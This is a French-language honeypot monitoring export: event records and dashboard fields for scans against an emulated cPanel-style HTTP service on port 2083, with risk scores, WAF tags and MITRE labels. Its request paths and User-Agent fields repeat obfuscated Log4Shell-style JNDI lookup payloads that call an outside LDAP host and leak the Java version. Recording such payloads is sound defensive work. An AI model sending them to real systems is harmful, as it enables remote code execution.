"site_display": {
"classification": null,
"classification_reason": "Type \u00ab port_2083_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"classification_reason_label_fr": "Type \u00ab port_2083_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 57\/100 (Moyen) \u2014 MITRE TA0007 \u2014 confiance 60 % \u2014 via HTTP \u2014 campagne \/24 (34.19.127.0\/24)",
"confidence_pct": 60,
"confidence_breakdown": {
"waf": 100,
"classification": 60,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 25,
"risk_score": 57,
"correlation_boost": 10
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 57,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 2083,
"protocol_emulated": true,
"tags_summary": [
"pat-0162"
],
"tags_summary_labels_fr": [
"pat-0162"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +10",
"protocol_details": {
"http_method": "GET",
"http_path": "\/${${fund:-j}${y76:c9:-n}${gvr:pr12:-d}${ep5:b4u:7:-i}${bsy:q20:-:}${e1a:9fv:-l}${bi:bpkv:-d}${c:mek:f:-a}${3:5:-p}${bwu:t8r:-:}${t:02:v9:-\/}${ny:8cnu:-\/}${4te\u2026",
"request_line": "GET \/${${fund:-j}${y76:c9:-n}${gvr:pr12:-d}${ep5:b4u:7:-i}${bsy:q20:-:}${e1a:9fv:-l}${bi:bpkv:-d}${c:mek:f:-a}${3:5:-p}${bwu:t8r:-:}${t:02:v9:-\/}${ny:8cnu:-\/}${4te1:t28:-P}${48:9:-A}${9o:g:-l}${gw9:h\u2026",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 2083,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "port 2083 tcp \u00b7 via HTTP:2083 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/${${fund:-j}${y76:c9:-n}${gvr:pr12:-d}${ep5:b4\u2026",
"evidence_snippet": "GET \/${${fund:-j}${y76:c9:-n}${gvr:pr12:-d}${ep5:b4u:7:-i}${bsy:q20:-:}${e1a:9fv:-l}${bi:bpkv:-d}${c:mek:f:-a}${3:5:-p}${bwu:t8r",
"target_port_label": "2083 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 60 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +10 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.127.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"meta_truncated": true,
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "2083"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"coordinated_scan": true,
"coordinated_subnet": "34.19.127.0\/24",
"coordinated_ip_count": 18,
"behavior_alerts": [
"coordinated_scan"
],
"correlation_confidence_boost": 10,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950324:rce-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"net_web_probe"
],
"asn_dc_heuristic": true
}
31/07/2026 15:15:38 UTC
TCP
2083 · HTTP
deser php attack
deser php attack · via HTTP:2083 · (tentative d'exploit) · → /${${5z8:-j}${8:-n}${s:g1:pxnh:-d}${dfh:d:-i}${…
Élevée
Élevé · 67
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
MITRE
TA0001
TA0001
TA0002
Protocole
GET /${${5z8:-j}${8:-n}${s:g1:pxnh:-d}${dfh:d:-i}${i:y:-:}${k8:k:1kzs:-l}${lyk:-d}${xme:x2fn:u8ls:-a}${… UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
26
Recommandation
Investiguer
Tags
950324:rce-0
950326:rce-0
950468:nosqli-3
950470:nosqli-3
Cible HTTP
GET
/${${5z8:-j}${8:-n}${s:g1:pxnh:-d}${dfh:d:-i}${i:y:-:}${k8:k:1kzs:-l}${lyk:-d}${xme:x2fn:u8ls:-a}${5m8z:rd:k:-p}${h73v:u9s:-:}${m4qd:w:-/}${1j:9ye:h:-/}${dcf:cn:9v4j:-P}${n6bj:ce:6qg:-A}${v:pxe:-l}${e1y:3t:vdr:-0}${u6o:9tg:rqyb:-c}${vk:yz:--}${${zgpx:tyu:8ir:-s}${p0e:-y}${b5:z:-s}${c:z0a:-:}${5:g0uq:te3:-j}${b03:-a}${2a81:9:-v}${xiv:qs:b:-a}${rd5:7y:-.}${j:1:-v}${oel3:4:-e}${qr5e:-r}${plxa:6ak5:-s}${3pfy:udxk:-i}${9h:-o}${rx:xipa:rgu:-n}}${7yx:-.}${n:d3a:-3}${5:h:-5}${2b5r:awu:-5}${a:tvz:qu:-e}${zq1v:-d}${1
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
2083
Chemin / cible
/${${5z8:-j}${8:-n}${s:g1:pxnh:-d}${dfh:d:-i}${i:y:-:}${k8:k:1kzs:-l}${lyk:-d}${xme:x2fn:u8ls:-a}${5m8z:rd:k:-p}${h73v:u9s:-:}${m4qd:w:-/}${1j:9ye:h:-/}${dcf:c…
Pourquoi cette classification : Type « deser_php_attack » (signaux protocolaires) · confiance 95%
Confiance classification
100%
Corrélation +10
Risque capteur
Élevé
· 67
Confiance : Confiance 95 % — Motif catalogue confirmé · 4 tag(s) WAF
Protocole émulé
1 Signaux
pat-0817
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
ET PHP serialize O:
CRS 933135
Ligne de requête
GET /${${5z8:-j}${8:-n}${s:g1:pxnh:-d}${dfh:d:-i}${i:y:-:}${k8:k:1kzs:-l}${lyk:-d}${xme:x2fn:u8ls:-a}${5m8z:rd:k:-p}${h73v:u9s:-:}${m4qd:w:-/}${1j:9ye:h:-/}${dcf:cn:9v4j:-P}${n6bj:ce:6qg:-A}${v:pxe:-l}${e1y:3t:vdr:-0}${u6o:9tg:rqyb:-c}${vk:yz:--}${${zgpx:tyu:8ir:-s}${p0e:-y}${b5:z:-s}${c:z0a:-:}${5:g0uq:te3:-j}${b03:-a}${2a81:9:-v}${xiv:qs:b:-a}${rd5:7y:-.}${j:1:-v}${oel3:4:-e}${qr5e:-r}${plxa:6ak5:-s}${3pfy:udxk:-i}${9h:-o}${rx:xipa:rgu:-n}}${7yx:-.}${n:d3a:-3}${5:h:-5}${2b5r:awu:-5}${a:tvz:qu:-e}${zq1v:-d
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
rce-0
nosqli-3
Payload (extrait)
GET /${${5z8:-j}${8:-n}${s:g1:pxnh:-d}${dfh:d:-i}${i:y:-:}${k8:k:1kzs:-l}${lyk:-d}${xme:x2fn:u8ls:-a}${5m8z:rd:k:-p}${h73v:u9s:-
Requête brute (extrait)
GET /${${5z8:-j}${8:-n}${s:g1:pxnh:-d}${dfh:d:-i}${i:y:-:}${k8:k:1kzs:-l}${lyk:-d}${xme:x2fn:u8ls:-a}${5m8z:rd:k:-p}${h73v:u9s:-:}${m4qd:w:-/}${1j:9ye:h:-/}${dcf:cn:9v4j:-P}${n6bj:ce:6qg:-A}${v:pxe:-l}${e1y:3t:vdr:-0}${u6o:9tg:rqyb:-c}${vk:yz:--}${${zgpx:t
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a206370737276642f31312e3131300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2033380d0a0d0a3c68746d6c3e3c626f64793e6350616e656c204c6f67696e3c2f626f64793e3c2f68746d6c3e",
"emulator_response_len": 125,
"http_header_count": 5,
"http_query_params": 0,
"http_path_depth": 3,
"http_path_ext": "}${f:7efl:0:-g}${6o:1:-o}${n:-o}${s:h:-g}}",
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "67eaca241c6dfd51f5189023397b7c1347b672ff",
"http_target_hash": "9d507e11c69bc49a4629f8b47e85dc1f61d6bcdb",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 4096,
"payload_entropy": 4.880758960158545,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 2083,
"risk_waf": 100,
"risk_classification": 85,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 33,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 3.1,
"risk_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 25
},
"risk_score": 67,
"tag_count": 6,
"anomaly_count": 0,
"campaign_key": "c97826cc9836d3e4a53ecc9f25ee299b599b87fe",
"event_fingerprint": "90b1648e8a172cb09e0c54c502865657e6f48073",
"classification_reason": "Type \u00ab deser_php_attack \u00bb (signaux protocolaires) \u00b7 confiance 95%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 86,
"precision_signals": [
"pat-0817"
],
"kb_rule_ids": [
"pat-0817"
],
"matched_patterns": [
"pat-0817",
"pat-0162"
],
"matched_pattern_names": [
"ET PHP serialize O:",
"CRS 933135"
],
"pattern_ids": [
"pat-0817",
"pat-0162"
],
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 25,
"risk_score": 67,
"correlation_boost": 10
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 95,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "eaba5508f4499d44cfecc99851468b05",
"path_pattern_hash": "ace237a47a087995dd8cd8c11ca35e82"
},
"target_context": {
"dst_port": 2083,
"service": "http",
"service_name": "http",
"risk_score": 67
},
"method": "GET",
"path": "\/${${5z8:-j}${8:-n}${s:g1:pxnh:-d}${dfh:d:-i}${i:y:-:}${k8:k:1kzs:-l}${lyk:-d}${xme:x2fn:u8ls:-a}${5m8z:rd:k:-p}${h73v:u9s:-:}${m4qd:w:-\/}${1j:9ye:h:-\/}${dcf:cn:9v4j:-P}${n6bj:ce:6qg:-A}${v:pxe:-l}${e1y:3t:vdr:-0}${u6o:9tg:rqyb:-c}${vk:yz:--}${${zgpx:tyu:8ir:-s}${p0e:-y}${b5:z:-s}${c:z0a:-:}${5:g0uq:te3:-j}${b03:-a}${2a81:9:-v}${xiv:qs:b:-a}${rd5:7y:-.}${j:1:-v}${oel3:4:-e}${qr5e:-r}${plxa:6ak5:-s}${3pfy:udxk:-i}${9h:-o}${rx:xipa:rgu:-n}}${7yx:-.}${n:d3a:-3}${5:h:-5}${2b5r:awu:-5}${a:tvz:qu:-e}${zq1v:-d}${1",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950324:rce-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "GET \/${${5z8:-j}${8:-n}${s:g1:pxnh:-d}${dfh:d:-i}${i:y:-:}${k8:k:1kzs:-l}${lyk:-d}${xme:x2fn:u8ls:-a}${5m8z:rd:k:-p}${h73v:u9s:-:}${m4qd:w:-\/}${1j:9ye:h:-\/}${dcf:cn:9v4j:-P}${n6bj:ce:6qg:-A}${v:pxe:-l}${e1y:3t:vdr:-0}${u6o:9tg:rqyb:-c}${vk:yz:--}${${zgpx:tyu:8ir:-s}${p0e:-y}${b5:z:-s}${c:z0a:-:}${5:g0uq:te3:-j}${b03:-a}${2a81:9:-v}${xiv:qs:b:-a}${rd5:7y:-.}${j:1:-v}${oel3:4:-e}${qr5e:-r}${plxa:6ak5:-s}${3pfy:udxk:-i}${9h:-o}${rx:xipa:rgu:-n}}${7yx:-.}${n:d3a:-3}${5:h:-5}${2b5r:awu:-5}${a:tvz:qu:-e}${zq1v:-d",
"payload_snippet": "GET \/${${5z8:-j}${8:-n}${s:g1:pxnh:-d}${dfh:d:-i}${i:y:-:}${k8:k:1kzs:-l}${lyk:-d}${xme:x2fn:u8ls:-a}${5m8z:rd:k:-p}${h73v:u9s:-",
"evidence": {
"method": "GET",
"path": "\/${${5z8:-j}${8:-n}${s:g1:pxnh:-d}${dfh:d:-i}${i:y:-:}${k8:k:1kzs:-l}${lyk:-d}${xme:x2fn:u8ls:-a}${5m8z:rd:k:-p}${h73v:u9s:-:}${m4qd:w:-\/}${1j:9ye:h:-\/}${dcf:cn:9v4j:-P}${n6bj:ce:6qg:-A}${v:pxe:-l}${e1y:3t:vdr:-0}${u6o:9tg:rqyb:-c}${vk:yz:--}${${zgpx:tyu:8ir:-s}${p0e:-y}${b5:z:-s}${c:z0a:-:}${5:g0uq:te3:-j}${b03:-a}${2a81:9:-v}${xiv:qs:b:-a}${rd5:7y:-.}${j:1:-v}${oel3:4:-e}${qr5e:-r}${plxa:6ak5:-s}${3pfy:udxk:-i}${9h:-o}${rx:xipa:rgu:-n}}${7yx:-.}${n:d3a:-3}${5:h:-5}${2b5r:awu:-5}${a:tvz:qu:-e}${zq1v:-d}${1",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950324:rce-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "GET \/${${5z8:-j}${8:-n}${s:g1:pxnh:-d}${dfh:d:-i}${i:y:-:}${k8:k:1kzs:-l}${lyk:-d}${xme:x2fn:u8ls:-a}${5m8z:rd:k:-p}${h73v:u9s:-:}${m4qd:w:-\/}${1j:9ye:h:-\/}${dcf:cn:9v4j:-P}${n6bj:ce:6qg:-A}${v:pxe:-l}${e1y:3t:vdr:-0}${u6o:9tg:rqyb:-c}${vk:yz:--}${${zgpx:tyu:8ir:-s}${p0e:-y}${b5:z:-s}${c:z0a:-:}${5:g0uq:te3:-j}${b03:-a}${2a81:9:-v}${xiv:qs:b:-a}${rd5:7y:-.}${j:1:-v}${oel3:4:-e}${qr5e:-r}${plxa:6ak5:-s}${3pfy:udxk:-i}${9h:-o}${rx:xipa:rgu:-n}}${7yx:-.}${n:d3a:-3}${5:h:-5}${2b5r:awu:-5}${a:tvz:qu:-e}${zq1v:-d",
"request_sample": "GET \/${${5z8:-j}${8:-n}${s:g1:pxnh:-d}${dfh:d:-i}${i:y:-:}${k8:k:1kzs:-l}${lyk:-d}${xme:x2fn:u8ls:-a}${5m8z:rd:k:-p}${h73v:u9s:-:}${m4qd:w:-\/}${1j:9ye:h:-\/}${dcf:cn:9v4j:-P}${n6bj:ce:6qg:-A}${v:pxe:-l}${e1y:3t:vdr:-0}${u6o:9tg:rqyb:-c}${vk:yz:--}${${zgpx:t",
"payload_snippet": "GET \/${${5z8:-j}${8:-n}${s:g1:pxnh:-d}${dfh:d:-i}${i:y:-:}${k8:k:1kzs:-l}${lyk:-d}${xme:x2fn:u8ls:-a}${5m8z:rd:k:-p}${h73v:u9s:-",
"classification_reason": "Type \u00ab deser_php_attack \u00bb (signaux protocolaires) \u00b7 confiance 95%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"unknown"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "5031ba54a0c88705e2d511aee417b8f47ffc393f",
"protocol_details": {
"http_method": "GET",
"http_path": "\/${${5z8:-j}${8:-n}${s:g1:pxnh:-d}${dfh:d:-i}${i:y:-:}${k8:k:1kzs:-l}${lyk:-d}${xme:x2fn:u8ls:-a}${5m8z:rd:k:-p}${h73v:u9s:-:}${m4qd:w:-\/}${1j:9ye:h:-\/}${dcf:c\u2026",
"request_line": "GET \/${${5z8:-j}${8:-n}${s:g1:pxnh:-d}${dfh:d:-i}${i:y:-:}${k8:k:1kzs:-l}${lyk:-d}${xme:x2fn:u8ls:-a}${5m8z:rd:k:-p}${h73v:u9s:-:}${m4qd:w:-\/}${1j:9ye:h:-\/}${dcf:cn:9v4j:-P}${n6bj:ce:6qg:-A}${v:pxe:-\u2026",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 2083,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/${${5z8:-j}${8:-n}${s:g1:pxnh:-d}${dfh:d:-i}${i:y:-:}${k8:k:1kzs:-l}${lyk:-d}${xme:x2fn:u8ls:-a}${5m8z:rd:k:-p}${h73v:u9s:-",
"attack_vector": "deser php attack \u00b7 via HTTP:2083 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/${${5z8:-j}${8:-n}${s:g1:pxnh:-d}${dfh:d:-i}${\u2026",
"target_port_label": "2083 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab deser_php_attack \u00bb (signaux protocolaires) \u00b7 confiance 95%",
"classification_reason_label_fr": "Type \u00ab deser_php_attack \u00bb (signaux protocolaires) \u00b7 confiance 95%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 67\/100 (\u00c9lev\u00e9) \u2014 MITRE TA0001 \u2014 confiance 100 % \u2014 via HTTP \u2014 campagne \/24 (34.19.127.0\/24)",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 25,
"risk_score": 67,
"correlation_boost": 10
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 67,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 2083,
"protocol_emulated": true,
"tags_summary": [
"pat-0817"
],
"tags_summary_labels_fr": [
"pat-0817"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +10",
"protocol_details": {
"http_method": "GET",
"http_path": "\/${${5z8:-j}${8:-n}${s:g1:pxnh:-d}${dfh:d:-i}${i:y:-:}${k8:k:1kzs:-l}${lyk:-d}${xme:x2fn:u8ls:-a}${5m8z:rd:k:-p}${h73v:u9s:-:}${m4qd:w:-\/}${1j:9ye:h:-\/}${dcf:c\u2026",
"request_line": "GET \/${${5z8:-j}${8:-n}${s:g1:pxnh:-d}${dfh:d:-i}${i:y:-:}${k8:k:1kzs:-l}${lyk:-d}${xme:x2fn:u8ls:-a}${5m8z:rd:k:-p}${h73v:u9s:-:}${m4qd:w:-\/}${1j:9ye:h:-\/}${dcf:cn:9v4j:-P}${n6bj:ce:6qg:-A}${v:pxe:-\u2026",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 2083,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "deser php attack \u00b7 via HTTP:2083 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/${${5z8:-j}${8:-n}${s:g1:pxnh:-d}${dfh:d:-i}${\u2026",
"evidence_snippet": "GET \/${${5z8:-j}${8:-n}${s:g1:pxnh:-d}${dfh:d:-i}${i:y:-:}${k8:k:1kzs:-l}${lyk:-d}${xme:x2fn:u8ls:-a}${5m8z:rd:k:-p}${h73v:u9s:-",
"target_port_label": "2083 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +10 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.127.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"meta_truncated": true,
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "2083"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"coordinated_scan": true,
"coordinated_subnet": "34.19.127.0\/24",
"coordinated_ip_count": 18,
"behavior_alerts": [
"coordinated_scan"
],
"correlation_confidence_boost": 10,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950324:rce-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"net_slowloris",
"net_web_probe"
],
"asn_dc_heuristic": true
}
31/07/2026 15:15:38 UTC
TCP
2083 · HTTP
Sonde port 2083/TCP
port 2083 tcp · via HTTP:2083 · (sonde / probe)
Élevée
Moyen · 45
Détails
Voir
Étape
Sonde / probe
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
MITRE
TA0007
TA0007
TA0001
Protocole
POST / UA ${${m5fs:6siu:jnm:-j}${tmc:2p6u:8f:-n}${mb:4b:9jl:-d}${v1gj:w4h…
Émulateur
HTTP
WAF
16
Recommandation
Surveiller
Tags
950326:rce-0
950470:nosqli-3
950734:sap-sapcontrol-path
net_web_probe
Cible HTTP
POST
/
TLS SNI
—
Capteur
paris-1
Méthode
POST
Port
2083
Chemin / cible
/
Preuve honeypot — Sonde port 2083/TCP
Connexion détectée sur le port 2083 (TCP) du capteur simulé.
Pourquoi cette classification : Type « port_2083_tcp » (signaux protocolaires) · confiance 50%
Confiance classification
60%
Corrélation +10
Risque capteur
Moyen
· 45
Confiance : Confiance 50 % — Motif catalogue confirmé · Classification nommée non retenue — preuves insuffisantes · 3 tag(s) WAF
Protocole émulé
1 Signaux
pat-0162
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Motifs de détection (base)
CRS 933135
Ligne de requête
POST / HTTP/1.1
User-Agent
${${m5fs:6siu:jnm:-j}${tmc:2p6u:8f:-n}${mb:4b:9jl:-d}${v1gj:w4h:on:-i}${e:8lv:w:-:}${9n:p8:7b:-l}${1j:-d}${4:gt:-a}${n8:2:zs:-p}${dmez:y8r:-:}${cies:hbsp:o:-/}${dg0h:9:w:-/}${f9:9:j3:-U}${mx:8wz:bij6…
Règles WAF
rce-0
nosqli-3
sap-sapcontrol-path
Payload (extrait)
POST / HTTP/1.1
Host: ip-62-3-50-33.v4.isp.servpersosystems.net:2083
Accept: */*
User-Agent: ${${m5fs:6siu:jnm:-j}${tmc:2p6u:
Requête brute (extrait)
POST / HTTP/1.1 Host: ip-62-3-50-33.v4.isp.servpersosystems.net:2083 Accept: */* User-Agent: ${${m5fs:6siu:jnm:-j}${tmc:2p6u:8f:-n}${mb:4b:9jl:-d}${v1gj:w4h:on:-i}${e:8lv:w:-:}${9n:p8:7b:-l}${1j:-d}${4:gt:-a}${n8:2:zs:-p}${dmez:y8r:-:}${cies:hbsp:o:-/}$
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a206370737276642f31312e3131300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2033380d0a0d0a3c68746d6c3e3c626f64793e6350616e656c204c6f67696e3c2f626f64793e3c2f68746d6c3e",
"emulator_response_len": 125,
"http_header_count": 5,
"http_query_params": 0,
"http_path_depth": 0,
"http_path_ext": null,
"http_ua_hash": "cf89e748a94b315be2ef1ee853becab7c0bb3338",
"http_host_hash": "67eaca241c6dfd51f5189023397b7c1347b672ff",
"http_target_hash": "42099b4af021e53fd8fd4e056c2568d7c2e3ffa8",
"http_referer_hash": "8d8ca89d72e96e380bc5763b682462e531e5c55c",
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": false,
"bytes_in": 4096,
"payload_entropy": 4.804889417558913,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 2083,
"risk_waf": 72,
"risk_classification": 48,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 33,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 2.4,
"risk_breakdown": {
"waf": 72,
"classification": 48,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15
},
"risk_score": 45,
"tag_count": 4,
"anomaly_count": 0,
"campaign_key": "16fe7c0b7577756e38a50f14030b0a17279a2a6c",
"event_fingerprint": "fd4a51dbd7a851ae81324cfd190fb8c00f059275",
"classification_reason": "Type \u00ab port_2083_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"confidence": 0.6,
"classification_confidence": 0.6,
"precision_score": 70,
"precision_signals": [
"pat-0162"
],
"kb_rule_ids": [
"pat-0162"
],
"matched_patterns": [
"pat-0162"
],
"matched_pattern_names": [
"CRS 933135"
],
"pattern_ids": [
"pat-0162"
],
"confidence_breakdown": {
"waf": 72,
"classification": 48,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 45,
"correlation_boost": 10
},
"named_classification_skipped": true,
"named_candidate": "php_injection",
"service_name": "http",
"risk_confidence_factor": 50,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "c74273f3d9cb2bfbf1d22cc79895a012",
"payload_hash": "8d706eb0c9a09dbbafb503e38983c9bc",
"path_pattern_hash": "8a5edab282632443219e051e4ade2d1d"
},
"target_context": {
"dst_port": 2083,
"service": "http",
"service_name": "http",
"risk_score": 45
},
"payload_preview": "POST \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:2083\r\nAccept: *\/*\r\nUser-Agent: ${${m5fs:6siu:jnm:-j}${tmc:2p6u:",
"method": "POST",
"path": "\/",
